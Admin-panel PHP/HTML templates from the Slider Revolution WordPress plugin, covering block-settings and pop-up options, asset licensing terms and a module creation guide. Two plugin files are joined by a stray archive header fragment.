				<div class="rbm_header"><i class="rbm_symbol material-icons">tune</i><span class="rbm_title"><?php _e('Slider Revolution Block Settings','revslider');?></span><i class="rbm_close material-icons">close</i></div>
				<div class="rbm_content">
					<div class="rbm_general_half" style="padding-right:20px;">
						<div class="rb_not_on_notactive">						
							<div class="ale_i_title thumbnail_title"><?php _e('Module Layout','revslider');?></div><hr class="general_hr"><span class="linebreak"></span>
							<label_a><?php _e('Sizing','revslider');?></label_a>
							<div class="radiooption">
								<div class="sl_auto"><input name="modulelayout" data-r="layout" type="radio" value="auto" class="scblockinput easyinit callEvent" data-evt="checkOffsets"><label_sub><?php _e('Auto Width','revslider');?></label_sub><span class="origlayout_auto origlayout">*</span></div>
								<div class="sl_fullwidth"><input name="modulelayout" data-r="layout" type="radio" value="fullwidth" class="scblockinput callEvent easyinit" data-evt="checkOffsets"><label_sub><?php _e('Full Width','revslider');?></label_sub><span class="origlayout_fullwidth origlayout">*</span></div>
								<div class="sl_fullscreen"><input name="modulelayout" data-r="layout" type="radio" value="fullscreen" class="scblockinput callEvent easyinit" data-evt="checkOffsets"><label_sub><?php _e('Full Screen','revslider');?></label_sub><span class="origlayout_fullscreen origlayout">*</span></div>
							</div>			
							<div class="div40"></div>	
						</div>
						<div class="ale_i_title thumbnail_title"><?php _e('Insert Module as Pop Up Module','revslider');?></div><hr class="general_hr"><span class="linebreak"></span>
						<label_a>Use Pop Up</label_a><input id="rs_popup_decide" type="checkbox" class="easyinit scblockinput" data-r="modal" data-showhide=".rs_modaldependencies_false" data-hideshow=".rs_modaldependencies_true" data-showhidedep="false">
						<div class="rs_modaldependencies_true">	
							<div class="div25"></div>							
							<div class="ale_i_title thumbnail_title"><?php _e('1 Time Per Session','revslider');?><input type="checkbox" data-rocker="foals"  class="easyinit scblockinput" data-r="popup.cookie.use"></div><hr class="general_hr"><span class="linebreak"></span>							
							<row class="direktrow"><onefull><label_a><?php _e('Session (hours)','revslider');?></label_a><input data-r="popup.cookie.v" class="valueduekeyboard longinput scblockinput easyinit callEvent" data-allowed="" data-numeric="true" data-min="0" data-max="1000" type="text"></onefull></row>							
							<div class="function_info_small"><?php _e('Relating on Pop Up after Time and Scroll Position ','revslider');?></div>
						</div>
						<div class="div25"></div>
						<div class="ale_i_title thumbnail_title"><?php _e('Pop Up by Actions','revslider');?></div><hr class="general_hr"><span class="linebreak"></span>																						
						<div class="function_info"><?php _e('Pop Up\'s can also be triggered by Layer Actions.<br>See more details in ','revslider');?><a href="https://www.themepunch.com/slider-revolution/lightbox-modal/" target:"_new"><?php _e('Pop Up / Modal Documentation','revslider');?></a></div>
						
					</div>
					<div class="rbm_general_half" style="padding-left:20px;">
						<div class="rb_not_on_notactive">	
							<div class="rs_modaldependencies_false">								
								<div class="ale_i_title thumbnail_title"><?php _e('Block Offsets (Module Wrapping Offset)','revslider');?></div><hr class="general_hr"><span class="linebreak"></span>				
								<div class="offset_list"><label_icon class="ui_margin_top"></label_icon><label_icon class="ui_padding_right"></label_icon><label_icon class="ui_margin_bottom"></label_icon><label_icon class="ui_padding_left"></label_icon></div>
								<div><label_icon class="ui_desktop"></label_icon>   <input data-r="offset.d.top" class="valueduekeyboard miniinput scblockinput easyinit " data-allowed="px"  data-numeric="true" data-min="-500" data-max="2000" type="text"><input data-r="offset.d.right" class=" valueduekeyboard miniinput scblockinput easyinit" data-allowed="px"  data-numeric="true" data-min="-500" data-max="2000" type="text"><input data-r="offset.d.bottom" class=" valueduekeyboard miniinput scblockinput easyinit" data-allowed="px"  data-numeric="true" data-min="-500" data-max="2000" type="text"><input data-r="offset.d.left" class=" valueduekeyboard miniinput scblockinput easyinit" data-allowed="px"  data-numeric="true" data-min="-500" data-max="2000" type="text"><input type="checkbox" class="easyinit scblockinput" data-r="offset.d.use"></div>
								<div><label_icon class="ui_notebook"></label_icon>  <input data-r="offset.n.top" class="valueduekeyboard miniinput scblockinput easyinit " data-allowed="px"  data-numeric="true" data-min="-500" data-max="2000" type="text"><input data-r="offset.n.right" class=" valueduekeyboard miniinput scblockinput easyinit" data-allowed="px"  data-numeric="true" data-min="-500" data-max="2000" type="text"><input data-r="offset.n.bottom" class=" valueduekeyboard miniinput scblockinput easyinit" data-allowed="px"  data-numeric="true" data-min="-500" data-max="2000" type="text"><input data-r="offset.n.left" class=" valueduekeyboard miniinput scblockinput easyinit" data-allowed="px"  data-numeric="true" data-min="-500" data-max="2000" type="text"><input type="checkbox" class="easyinit scblockinput" data-r="offset.n.use"></div>
								<div><label_icon class="ui_tablet"></label_icon>    <input data-r="offset.t.top" class="valueduekeyboard miniinput scblockinput easyinit " data-allowed="px"  data-numeric="true" data-min="-500" data-max="2000" type="text"><input data-r="offset.t.right" class=" valueduekeyboard miniinput scblockinput easyinit" data-allowed="px"  data-numeric="true" data-min="-500" data-max="2000" type="text"><input data-r="offset.t.bottom" class=" valueduekeyboard miniinput scblockinput easyinit" data-allowed="px"  data-numeric="true" data-min="-500" data-max="2000" type="text"><input data-r="offset.t.left" class=" valueduekeyboard miniinput scblockinput easyinit" data-allowed="px"  data-numeric="true" data-min="-500" data-max="2000" type="text"><input type="checkbox" class="easyinit scblockinput" data-r="offset.t.use"></div>
								<div><label_icon class="ui_mobile"></label_icon>    <input data-r="offset.m.top" class="valueduekeyboard miniinput scblockinput easyinit " data-allowed="px"  data-numeric="true" data-min="-500" data-max="2000" type="text"><input data-r="offset.m.right" class=" valueduekeyboard miniinput scblockinput easyinit" data-allowed="px"  data-numeric="true" data-min="-500" data-max="2000" type="text"><input data-r="offset.m.bottom" class=" valueduekeyboard miniinput scblockinput easyinit" data-allowed="px"  data-numeric="true" data-min="-500" data-max="2000" type="text"><input data-r="offset.m.left" class=" valueduekeyboard miniinput scblockinput easyinit" data-allowed="px"  data-numeric="true" data-min="-500" data-max="2000" type="text"><input type="checkbox" class="easyinit scblockinput" data-r="offset.m.use"></div>
								<div class="div25"></div>
								<div class="ale_i_title thumbnail_title"><?php _e('Block Depth','revslider');?></div>
								<hr class="general_hr">
								<span class="linebreak"></span>	
								<label_a><?php _e('Z-Index','revslider');?></label_a>
								<input data-r="zindex" class="valueduekeyboard miniinput scblockinput easyinit" data-allowed=""  data-numeric="true" data-min="0" data-max="10000000" type="text">
							</div>
						</div>
						<div class="rb_not_on_notactive">	
							<div class="rs_modaldependencies_true">				
								<div class="ale_i_title thumbnail_title"><?php _e('Pop Up after Time','revslider');?><input type="checkbox" data-rocker="foals" class="easyinit scblockinput" data-r="popup.time.use"></div><hr class="general_hr"><span class="linebreak"></span>
								<label_a><?php _e('After (ms)','revslider');?></label_a><input data-r="popup.time.v" class="valueduekeyboard smallinput scblockinput easyinit " data-allowed="ms"  data-numeric="true" data-min="0" data-max="200000" type="text">
								<div class="div25"></div>
								<div class="ale_i_title thumbnail_title"><?php _e('Pop Up at Scroll Position','revslider');?><input type="checkbox" data-rocker="foals" class="easyinit scblockinput" data-r="popup.scroll.use"></div><hr class="general_hr"><span class="linebreak"></span>
								<div class="radiooption">
									<label_a><?php _e('Based On','revslider');?></label_a><div style="display:inline-block; margin-right:20px;"><input name="popupscrolltype" data-show="#pop_scroll_o_based" data-hide="#pop_scroll_c_based" data-r="popup.scroll.type" type="radio" value="offset" class="scblockinput easyinit"><label_sub><?php _e('Offset','revslider');?></label_sub></div><!--
									--><div style="display:inline-block"><input name="popupscrolltype" data-r="popup.scroll.type" data-hide="#pop_scroll_o_based" data-show="#pop_scroll_c_based" type="radio" value="container" class="scblockinput easyinit"><label_sub><?php _e('Container','revslider');?></label_sub></div>								
								</div>	
								<div class="div15"></div>
								<row id="pop_scroll_c_based" class="directrow">
									<onefull><label_a><?php _e('Container','revslider');?></label_a><input data-r="popup.scroll.container" data-rocker="foals" class="valueduekeyboard longinput scblockinput easyinit " type="text"></onefull>
								</row>
								<div id="pop_scroll_o_based"><label_a><?php _e('Offset','revslider');?></label_a><input data-r="popup.scroll.v" data-rocker="foals" class="valueduekeyboard smallinput scblockinput easyinit " data-allowed="px"  data-numeric="true" data-min="-1000" data-max="200000" type="text"></div>
								<div class="div25"></div>							
								<div class="ale_i_title thumbnail_title"><?php _e('Pop Up by Events','revslider');?><input type="checkbox" data-rocker="foals"  class="easyinit scblockinput" data-r="popup.event.use"></div><hr class="general_hr"><span class="linebreak"></span>							
								<row class="direktrow"><onefull><label_a><?php _e('Listen to','revslider');?></label_a><input data-r="popup.event.v" class="valueduekeyboard longinput scblockinput easyinit callEvent" data-evt="updateSRBSSVREVT" type="text"></onefull></row>							
								<div class="function_info_small">i.e.: jQuery(document).trigger("<span id="srbs_scr_evt"></span>")</div>
								<div class="div25"></div>
								<div class="ale_i_title thumbnail_title"><?php _e('Pop Up on URL Hash ','revslider');?><input type="checkbox" data-rocker="foals"  class="easyinit scblockinput" data-r="popup.hash.use"></div><hr class="general_hr"><span class="linebreak"></span>															
								<div class="function_info"><?php _e('https://yourwebsite.com/yourpage/#<span id="srbs_scr_hash"></span>','revslider') ?></div>
							</div>
						</div>
					</div>
				</div>								
			</div>
		</div>
	</div>
</div>



<!--COPYRIGHT MODAL-->
<div style="display:none" class="_TPRB_ rb-modal-wrapper" data-modal="rbm_copyright">
	<div class="rb-modal-inner">
		<div class="rb-modal-content">
			<div id="rbm_copyright" class="rb_modal form_inner">
				<div class="rbm_header"><span class="rbm_title"><?php _e('Copyright & Licensing - Slider Revolution Library', 'revslider');?></span><i class="rbm_close material-icons">close</i></div>
				<div class="rbm_content">
					<div class="rbm_content_left">
						<div class="copyright_sel selected" data-crm="templates"><i class="material-icons">aspect_ratio</i><?php _e('Templates');?></div>
						<div class="copyright_sel" data-crm="images"><i class="material-icons">photo_camera</i><?php _e('Images');?></div>
						<div class="copyright_sel" data-crm="objects"><i class="material-icons">filter_drama</i><?php _e('Objects');?></div>
						<div class="copyright_sel" data-crm="videos"><i class="material-icons">videocam</i><?php _e('Videos');?></div>
						<div class="copyright_sel" data-crm="svg"><i class="material-icons">copyright</i><?php _e('SVG');?></div>
						<div class="copyright_sel" data-crm="icon"><i class="material-icons">font_download</i><?php _e('Icon');?></div>
						<div class="copyright_sel" data-crm="layers"><i class="material-icons">layers</i><?php _e('Layers');?></div>
					</div>
					<div class="rbm_content_right">
						<div class="crm_content_wrap" id="crm_templates">
							<div class="crm_title"><?php _e('Terms of using Layer Group Objects from the Library');?></div>
							<div class="crm_content"><div class="crm_arrow material-icons">arrow_forward</div><div class="crm_text"><?php _e('Templates from the Slider Revolution Library <b>must only</b> be used with a');?><br><a target="_blank" rel="noopener" href="<?php echo $registered_p_c_url; ?>"><?php echo $registered_p_c;?></a> <?php _e('on that particular website.');?></div></div>							
							<div class="crm_content"><div class="crm_arrow material-icons">arrow_forward</div><div class="crm_text"><?php _e('Media assets used in the respective templates, are licensed according to the here mentioned license terms (see list on the left).');?></div></div>
							<div class="crm_content"><div class="crm_arrow material-icons">arrow_forward</div><div class="crm_text"><?php _e('Slider Revolution Add-Ons <b>must only</b> be used with a');?> <a target="_blank" rel="noopener" href="<?php echo $registered_p_c_url; ?>"><?php echo $registered_p_c;?></a> <?php _e('on that particular website.');?></div></div>
							<div class="div30"></div>
							<a target="_blank" rel="noopener" href="https://getsliderrevolution.com" class="crm_basic_button basic_action_button autosize basic_action_coloredbutton" style="padding:0px 30px"><?php _e('Buy another License');?> <span style="line-height:28px" class="crm_infostar">*</span></a>
							<div class="crm_info_text"><span class="crm_infostar">*</span><?php _e('One License Key / Purchase Code is required for each Website');?></div>
						</div>
						<div class="crm_content_wrap" id="crm_images">
							<div class="crm_title"><?php _e('Terms of using JPG Images from the Library');?></div>
							<div class="crm_content"><div class="crm_arrow material-icons">arrow_forward</div><div class="crm_text"><?php _e('The pictures are free for personal and even for commercial use.');?></div></div>
							<div class="crm_content"><div class="crm_arrow material-icons">arrow_forward</div><div class="crm_text"><?php _e('You can modify, copy and distribute the photos. All without asking for permission or setting a link to the source. So, attribution is not required.');?></div></div>
							<div class="crm_content"><div class="crm_arrow material-icons">arrow_forward</div><div class="crm_text"><?php _e('The only restriction is that identifiable people may not appear in a bad light or in a way that they may find offensive, unless they give their consent.');?></div></div>
							<div class="crm_content"><div class="crm_arrow material-icons">arrow_forward</div><div class="crm_text"><?php _e('The CC0 license was released by the non-profit organization Creative Commons (CC). Get more information about Creative Commons images and the license on the official license page.');?></div></div>
							<div class="crm_content"><div class="crm_arrow material-icons">arrow_forward</div><div class="crm_text"><?php _e('Images from');?> <a target="_blank" rel="noopener" href="https://www.pexels.com/"><?php _e('Pexels');?></a> <?php _e('under the license');?> <a target="_blank" rel="noopener" href="https://creativecommons.org/share-your-work/public-domain/cc0/"><?php _e('CC0 Creative Commons');?></a></div></div>							
						</div>
						<div class="crm_content_wrap" id="crm_objects">
							<div class="crm_title"><?php _e('Terms of using PNG Objects from the Library');?></div>
							<div class="crm_content"><div class="crm_arrow material-icons">arrow_forward</div><div class="crm_text"><?php _e('PNG Objects from the Slider Revolution Library <b>must only</b> be used with a');?><br><a target="_blank" rel="noopener" href="<?php echo $registered_p_c_url; ?>"><?php echo $registered_p_c;?></a> <?php _e('on that particular website.');?></div></div>							
							<div class="crm_content"><div class="crm_arrow material-icons">arrow_forward</div><div class="crm_text"><?php _e('Licenses via extended license and cooperation with author ');?> <a target="_blank" rel="noopener" href="https://creativemarket.com/ceacle"><?php _e('Ceacle');?></a></div></div>
							<div class="crm_content"><div class="crm_arrow material-icons">arrow_forward</div><div class="crm_text"><?php _e('If you need .psd files for objects, you can purchase it from the original author');?> <a target="_blank" rel="noopener" href="https://creativemarket.com/ceacle"><?php _e('here');?></a></div></div>
							<div class="div30"></div>
							<a target="_blank" rel="noopener" href="https://getsliderrevolution.com" class="crm_basic_button basic_action_button autosize basic_action_coloredbutton" style="padding:0px 30px"><?php _e('Buy another License');?> <span style="line-height:28px" class="crm_infostar">*</span></a>
							<div class="crm_info_text"><span class="crm_infostar">*</span><?php _e('One License Key / Purchase Code is required for each Website');?></div>
						</div>
						<div class="crm_content_wrap " id="crm_videos">
							<div class="crm_title"><?php _e('Terms of using HTML5 Videos from the Library');?></div>
							<div class="crm_content"><div class="crm_arrow material-icons">arrow_forward</div><div class="crm_text"><?php _e('The videos are free for personal and even for commercial use.');?></div></div>
							<div class="crm_content"><div class="crm_arrow material-icons">arrow_forward</div><div class="crm_text"><?php _e('You can modify, copy and distribute the videos. All without asking for permission or setting a link to the source. So, attribution is not required.');?></div></div>
							<div class="crm_content"><div class="crm_arrow material-icons">arrow_forward</div><div class="crm_text"><?php _e('The only restriction is that identifiable people may not appear in a bad light or in a way that they may find offensive, unless they give their consent.');?></div></div>
							<div class="crm_content"><div class="crm_arrow material-icons">arrow_forward</div><div class="crm_text"><?php _e('The CC0 license was released by the non-profit organization Creative Commons (CC). Get more information about Creative Commons images and the license on the official license page.');?></div></div>
							<div class="crm_content"><div class="crm_arrow material-icons">arrow_forward</div><div class="crm_text"><?php _e('Videos from');?> <a target="_blank" rel="noopener" href="https://www.pexels.com/"><?php _e('Pexels');?></a> <?php _e('under the license');?> <a target="_blank" rel="noopener" href="https://creativecommons.org/share-your-work/public-domain/cc0/"><?php _e('CC0 Creative Commons');?></a></div></div>
						</div>
						<div class="crm_content_wrap " id="crm_svg">
							<div class="crm_title"><?php _e('Terms of using SVG Objects from the Library');?></div>
							<div class="crm_content"><div class="crm_arrow material-icons">arrow_forward</div><div class="crm_text"><?php _e('Usage only allowed within Slider Revolution Plugin');?></div></div>
							<div class="crm_content"><div class="crm_arrow material-icons">arrow_forward</div><div class="crm_text"><?php _e('A variety of sizes and densities can be also downloaded from the ');?> <a target="_blank" rel="noopener" href="https://github.com/google/material-design-icons"><?php _e('git repository');?></a> <?php _e(', making it even easier for developers to customize, share, and re-use outside of Slider Revolution.');?></div></div>							
							<div class="crm_content"><div class="crm_arrow material-icons">arrow_forward</div><div class="crm_text"><?php _e('Licenses via Apache License. Read More at');?> <a target="_blank" rel="noopener" href="https://github.com/google/material-design-icons/blob/master/LICENSE"><?php _e('Google Material Design Icons');?></a></div></div>
						</div>
						<div class="crm_content_wrap" id="crm_icon">
							<div class="crm_title"><?php _e('Terms of using ICON Objects from the Library');?></div>
							<div class="crm_content"><div class="crm_arrow material-icons">arrow_forward</div><div class="crm_text"><?php _e('Please check the listed license files for details about how you can use the "FontAwesome" and "Stroke 7 Icon" font sets for commercial projects, open source projects, or really just about whatever you want.');?></div></div>
							<div class="crm_content"><div class="crm_arrow material-icons">arrow_forward</div><div class="crm_text"><?php _e('Please respect all other icon fonts licenses for fonts not included directly into Slider Revolution.');?></div></div>
							<div class="div25"></div>
							<div class="crm_title"><?php _e('Further License Information');?></div>
							<div class="crm_content"><div class="crm_arrow material-icons">arrow_forward</div><div class="crm_text"><?php _e('<b>Font Awesome 4.6.3</b> by @davegandy - http://fontawesome.io - @fontawesome <br>License -');?> <a target="_blank" rel="noopener" href="http://fontawesome.io/license"><?php _e('http://fontawesome.io/license');?></a><?php _e('(Font: SIL OFL 1.1, CSS: MIT License)');?></div></div>
							<div class="crm_content"><div class="crm_arrow material-icons">arrow_forward</div><div class="crm_text"><?php _e('<b>Stroke 7 Icon Font Set</b> by www.pixeden.com <br>Get your Freebie Iconset at');?> <a target="_blank" rel="noopener" href="http://www.pixeden.com/icon-fonts/stroke-7-icon-font-set"><?php _e('http://www.pixeden.com/icon-fonts/stroke-7-icon-font-set');?></a></div></div>
						</div>
						<div class="crm_content_wrap selected" id="crm_layers">
							<div class="crm_title"><?php _e('Terms of using Layer Group Objects from the Library');?></div>
							<div class="crm_content"><div class="crm_arrow material-icons">arrow_forward</div><div class="crm_text"><?php _e('Layer Group Objects from the Slider Revolution Library <b>must only</b> be used with a');?><br><a target="_blank" rel="noopener" href="<?php echo $registered_p_c_url; ?>"><?php echo $registered_p_c;?></a> <?php _e('on that particular website.');?></div></div>							
							<div class="crm_content"><div class="crm_arrow material-icons">arrow_forward</div><div class="crm_text"><?php _e('Media assets used in the respective Layer Group Objects, are licensed according to the here mentioned license terms (see list on the left).');?></div></div>							
							<div class="div30"></div>
							<a target="_blank" rel="noopener" href="https://getsliderrevolution.com" class="crm_basic_button basic_action_button autosize basic_action_coloredbutton" style="padding:0px 30px"><?php _e('Buy another License');?> <span style="line-height:28px" class="crm_infostar">*</span></a>
							<div class="crm_info_text"><span class="crm_infostar">*</span><?php _e('One License Key / Purchase Code is required for each Website');?></div>
						</div>
					</div>
				</div>					
			</div>
		</div>
	</div>
</div>PK�y3\�T�*tataviews/modals-builder.phpnu�[���<?php
/**
 * Provide an admin area view for the Slider Modal Options
 *
 * This file is used to markup the admin-facing aspects of the plugin.
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */
 
if(!defined('ABSPATH')) exit();
?>

<!--QUICK GUIDE MODAL-->
<div class="_TPRB_ rb-modal-wrapper" data-modal="rbm_colorskins">
	<div class="rb-modal-inner">
		<div class="rb-modal-content">
			<div id="rbm_colorskins" class="rb_modal form_inner">
				<div class="rbm_header"><i class="rbm_symbol material-icons">format_paint</i><span class="rbm_title"><?php _e('Global Color Skin', 'revslider');?></span><i class="rbm_close material-icons">close</i></div>	
				<div class="rbm_content">
					<div class="modal_fields_title" style="width:170px;margin-right:10px;"><?php _e('SKIN TITLE', 'revslider');?></div><div class="modal_fields_title"><?php _e('SKIN COLOR', 'revslider');?></div>
					<div id="module_color_skins"></div>
					<div class="div20"></div>
					<div id="add_skin_color" class="basic_action_button layerinput autosize rightbutton"><i class="material-icons">color_lens</i><?php _e('Add Skin', 'revslider');?></div><div class="tp-clearfix"></div>
					<div class="div40"></div>
					<div class="global_sas_wrap">
						<label_a style="max-width:none; width:auto;"><?php _e('Show this Modal on Editor launch', 'revslider');?></label_a><input type="checkbox" id="sr_show_glob_skins" class="sliderinput easyinit" data-r="skins.colorsAtStart">
					</div>
				</div>
			</div>
		</div>
	</div>
</div>


<!--QUICK GUIDE MODAL-->
<div class="_TPRB_ rb-modal-wrapper" data-modal="rbm_quickguide">
	<div class="rb-modal-inner">
		<div class="rb-modal-content">
			<div id="rbm_quickguide" class="rb_modal form_inner">
				<div class="rbm_header"><i class="rbm_symbol material-icons">new_releases</i><span class="rbm_title"><?php _e('Module Creation Guide', 'revslider');?></span><i class="rbm_close material-icons">close</i></div>	
				<div class="rbm_content">
					<!-- PAGE 0 -->
					<div id="mcg_page_0"  class="mcg_page mcg_selected">
						<div class="dcenter">
							<div class="div30"></div>
							<div class="mcg_page_title"><?php _e('Welcome to Slider Revolution 6', 'revslider');?></div>
							<div class="mcg_page_subtitle"><?php _e('This Guide will help you with the basic configuration *<br>of your Slider Revolution 6 Module.', 'revslider');?></div>
							<div class="div100"></div>
							<bluebutton class="normal mcg_next_page"><?php _e('Start Guide', 'revslider');?></bluebutton>
							<div class="div10"></div>
							<graybutton class="normal mcg_quit_page"><?php _e('Quit Guide', 'revslider');?></graybutton>
						</div>
						<div class="mcg_page_footer">
							<div id="mcg_page_0_blurredbox"></div>
							<div class="mcg_footer_content">
								<grayiconbox><i class="material-icons">help_outline</i></grayiconbox>
								<blueiconbox class="blueiconongray"><i class="material-icons">help_outline</i></blueiconbox>
								<div class="mcg_fotter_text"><?php _e('* All settings adjusted by the guide can be changed later.<br>Click the <strong>Help Icon</strong> to find options & documentation', 'revslider');?></div>
							</div>
						</div>
					</div>

					<!-- PAGE 1 -->
					<div id="mcg_page_1"  class="mcg_page">
						<div class="dcenter">
							<div class="div30"></div>
							<div class="mcg_page_title"><?php _e('What type of module would you like to create?');?></div>				
							<div class="div35"></div>
						</div>			
						<div class="mcg_option_third_wraps">
							<div class="st_slider mcg_guide_optionwrap mcg_option_third">
								<input data-unavailable=".standardunavailable" data-available=".standardavailable" data-disable=".standarddisable" data-enable=".standardenable" data-select=".st_slider" data-unselect=".st_scene, .st_carousel" data-r="type" data-evt="updatesliderlayout"  data-evtparam="slidertype" type="radio" value="standard" id="slidertype_guide_standard" name="slidertype_guide" class="sliderinput easyinit" data-show="" data-hide="">
								<mcg_guide_image class="guide_slider"></mcg_guide_image>
								<div class="mcg_o_title"><?php _e('Slider');?></div>
								<div class="mcg_o_descp"><?php _e('A Slider consists of multiple Slides.<br>Each Slide has its own content and can be<br>navigated to with various optional<br>navigation elements.');?></div>
							</div>
							<div class="st_scene mcg_guide_optionwrap mcg_option_third">
								<input data-unavailable=".sceneunavailable" data-available=".sceneavailable" data-disable=".herodisable" data-enable=".heroenable" data-select=".st_scene" data-unselect=".st_slider, .st_carousel" data-r="type" data-evt="updatesliderlayout" data-evtparam="slidertype" type="radio" value="hero" id="slidertype_guide_hero"  name="slidertype_guide" class="sliderinput easyinit" data-show="" data-hide="">
								<mcg_guide_image class="guide_scene"></mcg_guide_image>
								<div class="mcg_o_title"><?php _e('Scene');?></div>
								<div class="mcg_o_descp"><?php _e('A Scene is essentially a Slider with a single<br>Slide and no navigation elements.<br>Best used for content modules that require<br>no additional depth.');?></div>
							</div>
							<div class="st_carousel mcg_guide_optionwrap mcg_option_third last">
								<input data-unavailable=".carouselunavailable" data-available=".carouselavailable" data-disable=".carouseldisable" data-enable=".carouselenable" data-select=".st_carousel" data-unselect=".st_slider, .st_scene" data-r="type" data-evt="updatesliderlayout"  data-evtparam="slidertype" type="radio" value="carousel" id="slidertype_guide_carousel"  name="slidertype_guide" class="sliderinput easyinit" data-show="" data-hide="">
								<mcg_guide_image class="guide_carousel"></mcg_guide_image>
								<div class="mcg_o_title"><?php _e('Carousel');?></div>
								<div class="mcg_o_descp"><?php _e('A Carousel is a Slider with multiple Slides<br>visible at the same time.<br>There are lots of options to customize the Carousel.');?></div>
							</div>
						</div>
						<div class="mcg_footer_btns_right"><graybutton class="minimal mcg_prev_page"><?php _e('Previous Step', 'revslider');?></graybutton></div>
						<div class="mcg_footer_btns">
							<div class="mcg_page_minititle"><?php _e('Module Type', 'revslider');?></div>
							<div class="mcg_page_pagination">1/3</div>
							<bluebutton class="minimal mcg_next_page"><?php _e('Next Step', 'revslider');?></bluebutton>				
						</div>			
					</div>

					<!-- PAGE 2 -->
					<div id="mcg_page_2"  class="mcg_page">
						<div class="dcenter">
							<div class="div30"></div>
							<div class="mcg_page_title"><?php _e('What size should the module have?');?></div>				
							<div class="div35"></div>
						</div>
						<div class="mcg_option_third_wraps">				
							<div class="sl_auto mcg_guide_optionwrap mcg_option_third">
								<input data-select=".sl_auto" data-unselect=".sl_fullwidth, .sl_fullscreen" data-r="layouttype" data-evt="updatesliderlayout" type="radio" value="auto" id="sliderlayouttype_guide_auto" name="sliderlayouttype_guide" class="sliderinput easyinit" data-show="#sr_size_minheight" data-hide=".sliderminheights,.decreaseheights">
								<mcg_guide_image class="guide_auto"></mcg_guide_image>
								<div class="mcg_o_title"><?php _e('Auto');?></div>
								<div class="mcg_o_descp"><?php _e('The module dimensions will automatically<br>adjust to the surrounding container width,<br>keeping its aspect ratio.');?></div>
							</div>
							<div class="sl_fullwidth mcg_guide_optionwrap mcg_option_third">
								<input data-select=".sl_fullwidth" data-unselect=".sl_auto, .sl_fullscreen" data-r="layouttype" data-evt="updatesliderlayout" type="radio" value="fullwidth" id="sliderlayouttype_guide_fullwidth" name="sliderlayouttype_guide" class="sliderinput easyinit" data-show="#sr_size_minheight" data-hide=".sliderminheights,.decreaseheights">
								<mcg_guide_image class="guide_fullwidth"></mcg_guide_image>
								<div class="mcg_o_title"><?php _e('Full-Width');?></div>
								<div class="mcg_o_descp"><?php _e('The module will always span across the<br>full-width of the web-page. The height can<br>be flexible depending on other settings.');?></div>
							</div>
							<div class="sl_fullscreen mcg_guide_optionwrap mcg_option_third last">
								<input data-select=".sl_fullscreen" data-unselect=".sl_auto, .sl_fullwidth" data-r="layouttype" data-evt="updatesliderlayout" type="radio" value="fullscreen" id="sliderlayouttype_guide_fullscreen" name="sliderlayouttype_guide" class="sliderinput easyinit" data-show="#sr_size_minheight_fs, .decreaseheights" data-hide=".sliderminheights">
								<mcg_guide_image class="guide_fullscreen"></mcg_guide_image>
								<div class="mcg_o_title"><?php _e('Full-Screen');?></div>
								<div class="mcg_o_descp"><?php _e('The module will always fit the full area<br>within the web-page.');?></div>
							</div>
						</div>
						<div class="mcg_footer_btns_right"><graybutton class="minimal mcg_prev_page"><?php _e('Previous Step', 'revslider');?></graybutton></div>
						<div class="mcg_footer_btns">
							<div class="mcg_page_minititle"><?php _e('Module Dimensions', 'revslider');?></div>
							<div class="mcg_page_pagination">2/3</div>
							<bluebutton class="minimal mcg_next_page"><?php _e('Next Step', 'revslider');?></bluebutton>				
						</div>			
					</div>

					<!-- PAGE 3 -->
					<div id="mcg_page_3"  class="mcg_page">
						<div class="dcenter">
							<div class="div30"></div>
							<div class="mcg_page_title"><?php _e('How would you like your content to resize?');?></div>				
							<div class="div35"></div>
						</div>
						<div class="mcg_option_third_wraps">
							<div id="guide_classic" class="guide_combi_resize  mcg_guide_optionwrap mcg_option_third">
								<mcg_guide_image class="guide_autoresponsive"></mcg_guide_image>
								<div class="mcg_o_title"><?php _e('Classic, Linear Resizing');?></div>
								<div class="mcg_o_descp"><?php _e('Layers will resize in a linear fashion, as the module size changes. You only need to configure one screen size.');?></div>
							</div>
							<div id="guide_intelligent" class="guide_combi_resize mcg_guide_optionwrap mcg_option_third">
								<mcg_guide_image class="guide_intelligent"></mcg_guide_image>
								<div class="mcg_o_title"><?php _e('Intelligent Inheriting');?></div>
								<div class="mcg_o_descp"><?php _e('Four custom device sizes are activated and a layers size / position is automatically calculated from its desktop device size. You can make individual adjustments to layers in all device sizes.');?></div>
							</div>
							<div id="guide_manual" class="guide_combi_resize mcg_guide_optionwrap mcg_option_third last">
								<mcg_guide_image class="guide_manual"></mcg_guide_image>
								<div class="mcg_o_title"><?php _e('Manual Custom Sizes');?></div>
								<div class="mcg_o_descp"><?php _e('Four custom device sizes are activated and layers need to be manually adjusted to their respective device sizes.');?></div>
							</div>
						</div>
						<div class="mcg_footer_btns_right"><graybutton class="minimal mcg_prev_page"><?php _e('Previous Step', 'revslider');?></graybutton></div>
						<div class="mcg_footer_btns">
							<div class="mcg_page_minititle"><?php _e('Responisvity', 'revslider');?></div>
							<div class="mcg_page_pagination">3/3</div>
							<!--<bluebutton class="minimal mcg_next_page"><?php _e('Next Step', 'revslider');?></bluebutton>-->
							<bluebutton class="minimal mcg_quit_page"><?php _e('Go to Editor', 'revslider');?></bluebutton>
						</div>			
					</div>

					<!-- PAGE 4 -->
					<!--<div id="mcg_page_4"  class="mcg_page">
						<div class="dcenter">
							<div class="mcg_page_title"><?php _e('Further module customization');?></div>				
							<div class="div10"></div>
						</div>
						<div class="mcg_option_third_wraps">
							<div class="mcg_option_third">
								<div class="mcg_o_title_gray"><?php _e('Add Navigation');?></div>
								<div class="mcg_video_preview"></div>
							</div>
							<div class="mcg_option_third">
								<div class="mcg_o_title_gray"><?php _e('Slide Animation');?></div>
								<div class="mcg_video_preview"></div>
							</div>
							<div class="mcg_option_third last">
								<div class="mcg_o_title_gray"><?php _e('Slide Background Media');?></div>
								<div class="mcg_video_preview"></div>
							</div>
						</div>
						<div class="div45"></div>
						<div class="mcg_option_third_wraps">
							<div class="mcg_option_third">
								<div class="mcg_o_title_gray"><?php _e('Add Navigation');?></div>
								<div class="mcg_video_preview"></div>
							</div>
							<div class="mcg_option_third">
								<div class="mcg_o_title_gray"><?php _e('Slide Animation');?></div>
								<div class="mcg_video_preview"></div>
							</div>
							<div class="mcg_option_third last">
								<div class="mcg_o_title_gray"><?php _e('Slide Background Media');?></div>
								<div class="mcg_video_preview"></div>
							</div>
						</div>
						<div class="mcg_footer_btns_right"><graybutton class="minimal mcg_prev_page"><?php _e('Previous Step', 'revslider');?></graybutton></div>
